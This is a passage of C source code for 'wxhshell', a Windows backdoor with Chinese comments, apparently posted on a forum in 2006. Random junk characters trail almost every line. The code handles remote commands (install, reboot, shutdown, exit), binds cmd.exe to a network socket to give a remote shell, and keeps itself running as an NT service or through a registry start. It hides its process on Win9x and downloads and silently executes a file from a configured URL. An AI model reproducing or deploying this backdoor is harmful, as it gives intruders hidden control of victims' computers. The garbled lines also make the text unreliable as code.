    break; U%6lYna{M#  
  } A7}|VV  
  // 安装 `>HthK  
  case 'i': { Wa<NId  
    if(Install()) t"m`P1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?q8g<-?  
    else R(#;yn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KuAGy*:4T  
    break; /]UNN~(  
    } kUBHK"}K  
  // 卸载 LA(JA  
  case 'r': { G5@@m-  
    if(Uninstall()) 5_T>HHR 6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2/NWWoKw  
    else #rL@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W8/6  
    break; Y{B_OoTun  
    } ;5S7_p2]j  
  // 显示 wxhshell 所在路径 SVeU7Q6-  
  case 'p': { ^,r;/c9A8  
    char svExeFile[MAX_PATH]; NWX%0PGZ  
    strcpy(svExeFile,"\n\r"); H$'kWU*l  
      strcat(svExeFile,ExeFile); Y\2>y"8>$x  
        send(wsh,svExeFile,strlen(svExeFile),0); =<tEc+!T3  
    break; MZ[g|o!)v  
    } w'j]Y%  
  // 重启  [?(W7  
  case 'b': { O-m}P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =njj.<BO  
    if(Boot(REBOOT)) @)Y7GM+^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Qu 7o  
    else { :Gk~FRA|  
    closesocket(wsh); |iThgq_\z  
    ExitThread(0); 7"U,N;y  
    } xL#oP0d<e  
    break; 0([jD25J!  
    } 9Ei#t FMc  
  // 关机 nmAXU!t'  
  case 'd': { ^OsUWhkV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M0\[hps~X  
    if(Boot(SHUTDOWN)) S5p\J!k\B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =hb87g.  
    else { atnbM:t  
    closesocket(wsh); s_+XSH[=f  
    ExitThread(0); ~d8o,.n`1  
    } |/ 7's'  
    break; J@-9{<  
    } @Kb~!y@G  
  // 获取shell }tq9 /\  
  case 's': { rkXSy g b  
    CmdShell(wsh);  X0L{#U  
    closesocket(wsh); O  
    ExitThread(0); U5s]dUs (  
    break; cSWVHr  
  } CawVC*b3  
  // 退出 X~b+LG/  
  case 'x': { 8hV:bz"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k!rz8S"  
    CloseIt(wsh); JB}h }nb  
    break; WWs>@lCK  
    } LB0=V0|  
  // 离开 2)]*re)  
  case 'q': { [^P2Kn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Unk+@$E&  
    closesocket(wsh); &?pAt30K:  
    WSACleanup(); bm|8Jbsb&  
    exit(1); jt*@,+e|  
    break; Jx7^|A  
        } 'S>Jps@  
  } _JB3+0@  
  } ?`iBp+iBv  
, X):2_m  
  // 提示信息 < duM8   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *Ux"3IXO  
} A>S2BL#=  
  } l0)6[yXK  
oDK\v8w-  
  return; 7qp|Msf},  
} I<f M8t.Y>  
&Kwt vUN{  
// shell模块句柄 XS@6jbLE  
int CmdShell(SOCKET sock) A}O9e  
{ D7wWk ,B  
STARTUPINFO si; e70*y'1fu  
ZeroMemory(&si,sizeof(si)); %oQj^r!Xd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '!GI:U+g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )`0 j\  
PROCESS_INFORMATION ProcessInfo; kv2:rmv  
char cmdline[]="cmd"; H%V[% T4=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3iwZUqyq  
  return 0; 7?@v}%w  
} )HcC\[  
A 2 )%+  
// 自身启动模式 ~d]7 Cl  
int StartFromService(void) jeNEC&J  
{ Er`PYE J  
typedef struct gE#,QOy  
{ =0|evC  
  DWORD ExitStatus; s6IuM )x  
  DWORD PebBaseAddress; CQHlSV W  
  DWORD AffinityMask; 5}VP-04vh  
  DWORD BasePriority; l"Q8`  
  ULONG UniqueProcessId; /vKDlCH*  
  ULONG InheritedFromUniqueProcessId; sIe(;%[`  
}   PROCESS_BASIC_INFORMATION; $Vh82Id^  
kdq55zTc<6  
PROCNTQSIP NtQueryInformationProcess; 9wzYDKN}  
j/\XeG>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =<icHt6s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xR3A4m  
"a7d`l:  
  HANDLE             hProcess; :7zI!edu  
  PROCESS_BASIC_INFORMATION pbi; 64cmv}d_  
;2~Q97c0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;DpK* A  
  if(NULL == hInst ) return 0; x~.U,,1  
Zl*!pQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1-fz564  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oB@C-(M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h !1c(UR  
{I ,'  
  if (!NtQueryInformationProcess) return 0; g*uO IF  
1d6pQ9 N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |ouk;r24V  
  if(!hProcess) return 0; TM;)[R@  
WfVie6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {cFei3'q  
dLq!t@?iu>  
  CloseHandle(hProcess); -1:asM7  
W\ckt]'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /r6DPR0\  
if(hProcess==NULL) return 0; D.~t#a A  
*W  l{2&  
HMODULE hMod; Pa*yo:U'h  
char procName[255]; `y(3:##p  
unsigned long cbNeeded; YDwns  
+gkB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g`1i[Iu2  
N C& 1l]  
  CloseHandle(hProcess); 4$rO,W/&0  
=/;(qy9.-R  
if(strstr(procName,"services")) return 1; // 以服务启动 Q\Eq(2p  
@{G(.S  
  return 0; // 注册表启动 SzDi= lY  
} *SZ<ori  
J.*=7zmw  
// 主模块 w~`P\i@  
int StartWxhshell(LPSTR lpCmdLine) x0] *'^aA  
{ *MNY1+RJ  
  SOCKET wsl; C*$/J\6xy  
BOOL val=TRUE; >4c 1VEi  
  int port=0; 4^r}&9C ~  
  struct sockaddr_in door; ME.LS2'n  
}z[se)s  
  if(wscfg.ws_autoins) Install(); Ic*Q(X  
u|C9[(  
port=atoi(lpCmdLine); f]EHDcC3X  
sQkP@Y  
if(port<=0) port=wscfg.ws_port; *,(`%b[  
NNT9\JRv_  
  WSADATA data; C^a~)r.h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MB)xL-jO  
2WoB;=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '"&?u8u)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A8?>V%b[Y  
  door.sin_family = AF_INET; n1ICW 9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4d#W[  
  door.sin_port = htons(port); "](~VF[J8  
XxGm,A+>Ty  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bFpwq#PDW>  
closesocket(wsl); A 6d+RAx  
return 1; eNNK;xXe#  
} z K&`&("4C  
Je/R'QP^8  
  if(listen(wsl,2) == INVALID_SOCKET) { #KIHq2:.4  
closesocket(wsl); `c icjA@~  
return 1; b#b#r  
} b% F|V G  
  Wxhshell(wsl); 5 Z@Q ^  
  WSACleanup(); !@Ox%vK  
B`vV[w?  
return 0; tNjrd}8s  
1@am'#<  
} /N $T[  
rO C~U85  
// 以NT服务方式启动 Dbgw )n*2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B>R6j}rh'k  
{ uW]n3)7<I  
DWORD   status = 0; a^22H  
  DWORD   specificError = 0xfffffff; -6? 5|\  
@c/~qP4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o,29C7Ii  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @'S-nn,sO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y,aASy!Q  
  serviceStatus.dwWin32ExitCode     = 0; /+rHy7(\  
  serviceStatus.dwServiceSpecificExitCode = 0; .e6:/x~p*  
  serviceStatus.dwCheckPoint       = 0; O_E[F E:+  
  serviceStatus.dwWaitHint       = 0; P6MT[  
*+ b[v7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zffzyh  
  if (hServiceStatusHandle==0) return; Z'\_YbB  
de"*<+  
status = GetLastError(); d+_qBp  
  if (status!=NO_ERROR) yJ^}uw  
{ Q$3%aR-2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xHf l>C'  
    serviceStatus.dwCheckPoint       = 0; noacnQ_I$  
    serviceStatus.dwWaitHint       = 0; {9z EnVfg  
    serviceStatus.dwWin32ExitCode     = status; 4u<oe_n  
    serviceStatus.dwServiceSpecificExitCode = specificError; E]68IuP@'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s>kzt1,x  
    return; v8LKv`I's  
  } )0NA*<Q+.  
s)}C&T$Y.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $ED<:[3N  
  serviceStatus.dwCheckPoint       = 0; WKN\* N<  
  serviceStatus.dwWaitHint       = 0; hp)3@&T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #q%&,;4  
} c(o8uWn  
YYhRdU/g  
// 处理NT服务事件,比如:启动、停止 GSypdEBj+w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $Q62 7  
{ Mq$e5&/  
switch(fdwControl) 2 Y%$6NX  
{ nH;^$b'LZ  
case SERVICE_CONTROL_STOP: `S%p D.g,2  
  serviceStatus.dwWin32ExitCode = 0; f@Db._ E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'E6)6N  
  serviceStatus.dwCheckPoint   = 0; 4B) prQ3  
  serviceStatus.dwWaitHint     = 0; !.9NJ2'8  
  { L='GsjF0}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KX{S8_  
  } 8}4V$b`Z  
  return; w* v%S   
case SERVICE_CONTROL_PAUSE: NJ3b Oq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (}'0K?  
  break; {4 *ob@w*  
case SERVICE_CONTROL_CONTINUE: a 6[bF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oM J5;  
  break; g,\<fY+ 4  
case SERVICE_CONTROL_INTERROGATE: _Nw-|N.  
  break; /KH3v!G0  
}; syMB~g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8USF;k  
} euQ d  
J3C"W7 94}  
// 标准应用程序主函数 -V(5U! ^B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3HWI;  
{ E: #VS~  
7,Nd[ oL*7  
// 获取操作系统版本 wF}/7b54  
OsIsNt=GetOsVer(); 8$S$*[-a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $6R<)]6  
|NL$? %I  
  // 从命令行安装 eQA89 :j,  
  if(strpbrk(lpCmdLine,"iI")) Install(); xCGvLvFn  
zcDVvP  
  // 下载执行文件 st~f}w@  
if(wscfg.ws_downexe) { 7R ;!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wo\NX05-?  
  WinExec(wscfg.ws_filenam,SW_HIDE); (C1]R41'  
} _.zW[;84b  
AfyEFnY  
if(!OsIsNt) { )0YMi!&j`  
// 如果时win9x,隐藏进程并且设置为注册表启动 cSQvP.  
HideProc(); ji:JLvf]%  
StartWxhshell(lpCmdLine); >{V]q*[/;Q  
} S&FMFXF@  
else `O-$qT, _  
  if(StartFromService()) @32JMS<  
  // 以服务方式启动 yPKeatH]  
  StartServiceCtrlDispatcher(DispatchTable); g?)9zJ9  
else S'lZ'H/  
  // 普通方式启动 YEQ}<\B\&  
  StartWxhshell(lpCmdLine); [ q22?kT  
y1B3F5  
return 0; 8nW#Q <s  
}
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只看该作者 1 发表于: 2006-10-10
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